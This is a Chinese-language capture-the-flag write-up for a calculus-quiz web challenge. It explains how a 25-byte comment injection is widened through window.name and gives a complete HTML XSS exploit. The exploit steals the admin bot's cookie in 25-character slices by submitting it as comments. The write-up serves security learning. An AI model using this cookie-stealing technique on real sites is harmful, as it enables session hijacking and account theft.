简单试一下发现 /result
这个页面是能注入代码的:
updateElement("#comment", "你留下的评论:<评论内容>");
但评论内容只有 25 字节。基本思路是从 bot 加载的网页跳转到这个页面,想办法传一个更长的字符串,用注入的一小段代码加载传入的字符串以注入更多代码。
最开始想法是用 URL 传代码,注入评论是 "+location+"
这样。但问题是 URL 里的特殊字符会被 quote,然后由于字符限制和长度限制又没法加上 unescape
函数。所以这个想法就行不通了。
后来查到 window.name
在页面跳转后是保留的,而且不会 quote 特殊字符。所以就用这个传字符串就好了。
注入评论是 "+window["name"]+"
,用方括号访问 property 是为了绕开字符限制。然后 bot 访问的页面就是在 window.name
里塞要注入 HTML 和 JS code,跳转到 /result
页面就完成 XSS 了。
完整 HTML 如下,注入的代码把 base64-encoded cookie 的前 25 字节提交到评论:
<body>
<script>
const script = `
document.querySelector('textarea#comment').value = btoa(document.cookie).slice(0, 25);
document.querySelector('button').click();
`.replaceAll('\n', '');
window.name = `<img src='#' onerror="${script}" />`;
location = 'http://web/result';
</script>
</body>
后面改一下 slice
的范围,重复注入评论、提交 HTML,访问下 25 个字符,直到读出来完整的 flag 就行了。
插曲:一开始跳转地址写的是 http://202.38.93.111:10051/result
,本地测试没问题,提交上去就会卡住 bot 最后被 kill 掉。琢磨了很久才察觉出来 calculus_quiz_bot.py
里的 http://web/
不是 placeholder 而是 bot 实际使用的域名。bot 应该是在 Docker 里跑的,没法访问公网 IP,web
是跑微积分练习网页的容器的名字。